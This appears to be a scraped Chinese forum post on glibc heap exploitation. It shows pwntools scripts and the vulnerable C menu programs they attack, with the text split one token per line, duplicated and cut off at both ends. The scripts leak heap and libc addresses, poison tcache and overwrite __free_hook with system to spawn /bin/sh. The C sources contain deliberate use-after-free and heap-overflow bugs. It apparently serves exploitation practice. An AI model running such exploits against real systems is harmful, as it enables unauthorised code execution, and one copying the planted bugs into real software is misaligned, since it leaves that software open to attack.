add(size):
r.sendlineafter(
"4.show\n"
,
'1'
)
r.sendlineafter(
"how big\n"
,
str
(size))
def
dele(idx):
r.sendlineafter(
"4.show\n"
,
'2'
)
r.sendlineafter(
"idx\n"
,
str
(idx))
def
edit(idx,size,con):
r.sendlineafter(
"4.show\n"
,
'3'
)
r.sendlineafter(
"idx\n"
,
str
(idx))
r.sendlineafter(
"how big u read\n"
,
str
(size))
r.sendafter(
"Content:\n"
,con)
def
show(idx):
r.sendlineafter(
"4.show\n"
,
'4'
)
r.sendlineafter(
"idx\n"
,
str
(idx))
add(
0x78
)
add(
0x78
)
add(
0x78
)
dele(
1
)
dele(
0
)
add(
0x78
)
edit(
1
,
1
,
'1'
)
show(
1
)
r.recvuntil(
"Content:"
)
heap
=
u64(r.recv(
6
)
+
'\x00'
*
2
)
-
0x001721
print
(
hex
(heap))
edit(
1
,
0x999
,
'a'
*
0x78
+
p64(
0x81
)
+
p64(heap))
add(
0x78
)
add(
0x78
)
pad
=
'a'
*
0x20
+
p64(
0x0000000007000000
)
edit(
3
,
0x100
,pad)
dele(
3
)
add(
0x78
)
show(
3
)
r.recvuntil(
"Content:"
)
base
=
u64(r.recv(
6
)
+
'\x00'
*
2
)
-
0x3ebee0
print
(
hex
(base))
free
=
p64(base
+
libc.sym[
'__free_hook'
])
sys
=
p64(base
+
libc.sym[
'system'
])
dele(
2
)
edit(
1
,
0x100
,
'a'
*
0x78
+
p64(
0x81
)
+
free)
add(
0x78
)
add(
0x78
)
edit(
1
,
0x10
,
'/bin/sh\x00'
)
edit(
4
,
0x10
,sys)
dele(
1
)
r.interactive()
#include<stdio.h>
#include<stdlib.h>
char
*heap[0x20];
int
num=0;
void
create()
{
if
(num>=0x20)
{
puts
(
"no more"
);
return
;
}
int
size;
puts
(
"how big"
);
scanf
(
"%d"
,&size);
if
(size>=0x20)
{
puts
(
"no more"
);
return
;
}
heap[num]=(
char
*)
malloc
(size);
num++;
}
void
show(){
int
i;
int
idx;
char
buf[4];
puts
(
"idx"
);
(read(0, buf, 4));
idx =
atoi
(buf);
if
(!heap[idx]) {
puts
(
"no hvae things\n"
);
}
else
{
printf
(
"Content:"
);
printf
(
"%s"
,heap[idx]);
}
}
void
dele()
{
int
i;
int
idx;
char
buf[4];
puts
(
"idx"
);
(read(0, buf, 4));
idx =
atoi
(buf);
if
(!heap[idx]) {
puts
(
"no hvae things\n"
);
}
else
{
free
(heap[idx]);
num--;
}
}
void
edit()
{
int
size;
int
i;
int
idx;
char
buf[4];
puts
(
"idx"
);
(read(0, buf, 4));
idx =
atoi
(buf);
if
(!heap[idx]) {
puts
(
"no hvae things\n"
);
}
else
{
puts
(
"how big u read"
);
scanf
(
"%d"
,&size);
if
(size>0x20)
{
puts
(
"too more"
);
return
;
}
puts
(
"Content:"
);
read(0,heap[idx],size);
}
}
void
menu(
void
){
puts
(
"1.create"
);
puts
(
"2.dele"
);
puts
(
"3.edit"
);
puts
(
"4.show"
);
}
void
main()
{
int
choice;
while
(1)
{
menu();
scanf
(
"%d"
,&choice);
switch
(choice)
{
case
1:create();
break
;
case
2:dele();
break
;
case
3:edit();
break
;
case
4:show();
break
;
default
:
puts
(
"error"
);
}
}
}
#include<stdio.h>
#include<stdlib.h>
char
*heap[0x20];
int
num=0;
void
create()
{
if
(num>=0x20)
{
puts
(
"no more"
);
return
;
}
int
size;
puts
(
"how big"
);
scanf
(
"%d"
,&size);
if
(size>=0x20)
{
puts
(
"no more"
);
return
;
}
heap[num]=(
char
*)
malloc
(size);
num++;
}
void
show(){
int
i;
int
idx;
char
buf[4];
puts
(
"idx"
);
(read(0, buf, 4));
idx =
atoi
(buf);
if
(!heap[idx]) {
puts
(
"no hvae things\n"
);
}
else
{
printf
(
"Content:"
);
printf
(
"%s"
,heap[idx]);
}
}
void
dele()
{
int
i;
int
idx;
char
buf[4];
puts
(
"idx"
);
(read(0, buf, 4));
idx =
atoi
(buf);
if
(!heap[idx]) {
puts
(
"no hvae things\n"
);
}
else
{
free
(heap[idx]);
num--;
}
}
void
edit()
{
int
size;
int
i;
int
idx;
char
buf[4];
puts
(
"idx"
);
(read(0, buf, 4));
idx =
atoi
(buf);
if
(!heap[idx]) {
puts
(
"no hvae things\n"
);
}
else
{
puts
(
"how big u read"
);
scanf
(
"%d"
,&size);
if
(size>0x20)
{
puts
(
"too more"
);
return
;
}
puts
(
"Content:"
);
read(0,heap[idx],size);
}
}
void
menu(
void
){
puts
(
"1.create"
);
puts
(
"2.dele"
);
puts
(
"3.edit"
);
puts
(
"4.show"
);
}
void
main()
{
int
choice;
while
(1)
{
menu();
scanf
(
"%d"
,&choice);
switch
(choice)
{
case
1:create();
break
;
case
2:dele();
break
;
case
3:edit();
break
;
case
4:show();
break
;
default
:
puts
(
"error"
);
}
}
}
from
pwn
import
*
r
=
process(
'./uaf'
)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
)
context.log_level
=
'debug'
def
add(size):
r.sendlineafter(
"4.show\n"
,
'1'
)
r.sendlineafter(
"how big\n"
,
str
(size))
def
dele(idx):
r.sendlineafter(
"4.show\n"
,
'2'
)
r.sendlineafter(
"idx\n"
,
str
(idx))
def
edit(idx,size,con):
r.sendlineafter(
"4.show\n"
,
'3'
)
r.sendlineafter(
"idx\n"
,
str
(idx))
r.sendlineafter(
"how big u read\n"
,
str
(size))
r.sendafter(
"Content:\n"
,con)
def
show(idx):
r.sendlineafter(
"4.show\n"
,
'4'
)
r.sendlineafter(
"idx\n"
,
str
(idx))
for
i
in
range
(
7
):
add(
0x10
)
dele(
0
)
dele(
1
)
show(
1
)
r.recvuntil(
"Content:"
)
heap
=
u64(r.recv(
6
)
+
'\x00'
*
2
)
-
0x001680
+
0x10
print
(
hex
(heap))
edit(
0
,
0x10
,p64(heap))
add(
0x10
)
add(
0x10
)
add(
0x10
)
add(
0x10
)
add(
0x10
)
edit(
7
,
0x20
,p64(
0
)
*
4
)
dele(
5
)
edit(
5
,
0x10
,p64(heap
+
0x20
))
add(
0x10
)
add(
0x10
)
edit(
10
,
0x20
,p64(
0x0000000007000000
))
dele(
7
)
add(
0x10
)
show(
10
)
r.recvuntil(
"Content:"
)
base
=
u64(r.recv(
6
)
+
'\x00'
*
2
)
-
0x3ebee0
print
(
hex
(base))
free
=
base
+
libc.sym[
'__free_hook'
]
sys
=
base
+
libc.sym[
'system'
]
edit(
10
,
0x20
,p64(
0
)
*
4
)
dele(
10
)
edit(
10
,
0x20
,p64(free))
add(
0x10
)
add(
0x10
)
edit(
11
,
0x10
,p64(sys))
edit(
10
,
0x10
,
"/bin/sh\x00"
)
dele(
10
)
r.interactive()
from
pwn
import
*
r
=
process(
'./uaf'
)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
)
context.log_level
=
'debug'
def
add(size):
r.sendlineafter(
"4.show\n"
,
'1'
)
r.sendlineafter(
"how big\n"
,
str
(size))
def
dele(idx):
r.sendlineafter(
"4.show\n"
,
'2'
)
r.sendlineafter(
"idx\n"
,
str
(idx))
def
edit(idx,size,con):
r.sendlineafter(
"4.show\n"
,
'3'
)
r.sendlineafter(
"idx\n"
,
str
(idx))
r.sendlineafter(
"how big u read\n"
,
str
(size))
r.sendafter(
"Content:\n"
,con)
def
show(idx):
r.sendlineafter(
"4.show\n"
,
'4'
)
r.sendlineafter(
"idx\n"
,
str
(idx))
for
i
in
range
(
7
):
add(
0x10
)
dele(
0
)
dele(
1
)
show(
1
)
r.recvuntil(
"Content:"
)
heap
=
u64(r.recv(
6
)
+
'\x00'
*
2
)
-
0x001680
+
0x10
print
(
hex
(heap))
edit(
0
,
0x10
,p64(heap))
add(
0x10
)
add(
0x10
)
add(
0x10
)
add(
0x10
)
add(
0x10
)
edit(
7
,
0x20
,p64(
0
)
*
4
)
dele(
5
)
edit(
5
,
0x10
,p64(heap
+
0x20
))
add(
0x10
)
add(
0x10
)
edit(
10
,
0x20
,p64(
0x0000000007000000
))
dele(
7
)
add(
0x10
)
show(
10
)
r.recvuntil(
"Content:"
)
base
=
u64(r.recv(
6
)
+
'\x00'
*
2
)
-
0x3ebee0
print
(
hex
(base))
free
=
base
+
libc.sym[
'__free_hook'
]
sys
=
base
+
libc.sym[
'system'
]
edit(
10
,
0x20
,p64(
0
)
*
4
)
dele(
10
)
edit(
10
,
0x20
,p64(free))
add(
0x10
)
add(
0x10
)
edit(
11
,
0x10
,p64(sys))
edit(
10
,
0x10
,
"/bin/sh\x00"
)
dele(
10
)
r.interactive()
#include<stdio.h>
void
init()
{
setbuf
(stdin, NULL);
setbuf
(stdout, NULL);
setbuf
(stderr, NULL);
return
0;
}
int
num=0;
char
*heaparray[0x10];
size_t
realsize[0x10];
void
create(){
if
(num>=0x20)
{
puts
(
"no more"
);
return
;
}
int
size;
puts
(
"Size of Heap : "
);
scanf
(
"%d"
,&size);
heaparray[num]=(
char
*)
malloc
(size);
realsize[num]=size;
num++;
}
void
show(){
int
idx ;
char
buf[4];
printf
(
"Index :\n"
);
read(0,buf,4);
idx =
atoi
(buf);
if
(idx < 0 || idx >= 0x10){
puts
(
"Out of bound!"
);
_exit(0);
}
if
(heaparray[idx]){
printf
(
"Size : %ld\nContent : %s\n"
,realsize[idx],heaparray[idx]);
puts
(
"Done !"
);
}
else
{
puts
(
"No such heap !"
);
}
}
void
edit(){
int
idx ;
char
buf[4];
printf
(
"Index :\n"
);
read(0,buf,4);
idx =
atoi
(buf);
if
(idx < 0 || idx >= 0x10){
puts
(
"Out of bound!"
);
_exit(0);
}
if
(heaparray[idx]){
printf
(
"Content of heap : \n"
);
read(0,heaparray[idx],realsize[idx]+8);
puts
(
"Done !"
);
}
else
{
puts
(
"No such heap !"
);
}
}
void
dele(){
int
idx ;
char
buf[4];
printf
(
"Index :\n"
);
read(0,buf,4);
idx =
atoi
(buf);
if
(idx < 0 || idx >= 0x10){
puts
(
"Out of bound!"
);
_exit(0);
}
if
(heaparray[idx]){
free
(heaparray[idx]);
realsize[idx] = 0 ;
puts
(
"Done !"
);
num--;
}
else
{
puts
(
"No such heap !"
);
}
}
void
menu(
void
){
puts
(
"1.create"
);
puts
(
"2.dele"
);
puts
(
"3.edit"
);
puts
(
"4.show"
);
}
void
main()
{
init();
int
choice;
while
(1)
{
menu();
scanf
(
"%d"
,&choice);
switch
(choice)
{
case
1:create();
break
;
case
2:dele();
break
;
case
3:edit();
break
;
case
4:show();
break
;
default
:
puts
(
"error"
);
}
}
}
#include<stdio.h>
void
init()
{
setbuf
(stdin, NULL);
setbuf
(stdout, NULL);
setbuf
(stderr, NULL);
return
0;
}
int
num=0;
char
*heaparray[0x10];
size_t
realsize[0x10];
void
create(){
if
(num>=0x20)
{
puts
(
"no more"
);
return
;
}
int
size;
puts
(
"Size of Heap : "
);
scanf
(
"%d"
,&size);
heaparray[num]=(
char
*)
malloc
(size);
realsize[num]=size;
num++;
}
void
show(){
int
idx ;
char
buf[4];
printf
(
"Index :\n"
);
read(0,buf,4);
idx =
atoi
(buf);
if
(idx < 0 || idx >= 0x10){
puts
(
"Out of bound!"
);
_exit(0);
}
if
(heaparray[idx]){
printf
(
"Size : %ld\nContent : %s\n"
,realsize[idx],heaparray[idx]);
puts
(
"Done !"
);
}
else
{
puts
(
"No such heap !"
);
}
}
void
edit(){
int
idx ;
char
buf[4];
printf
(
"Index :\n"
);
read(0,buf,4);
idx =
atoi
(buf);
if
(idx < 0 || idx >= 0x10){
puts
(
"Out of bound!"
);
_exit(0);
}
if
(heaparray[idx]){
printf
(
"Content of heap : \n"
);
read(0,heaparray[idx],realsize[idx]+8);
puts
(
"Done !"
);
}
else
{
puts
(
"No such heap !"
);
}
}
void
dele(){
int
idx ;
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2023-9-7 13:45
被H.R.P编辑
,原因: 文章更新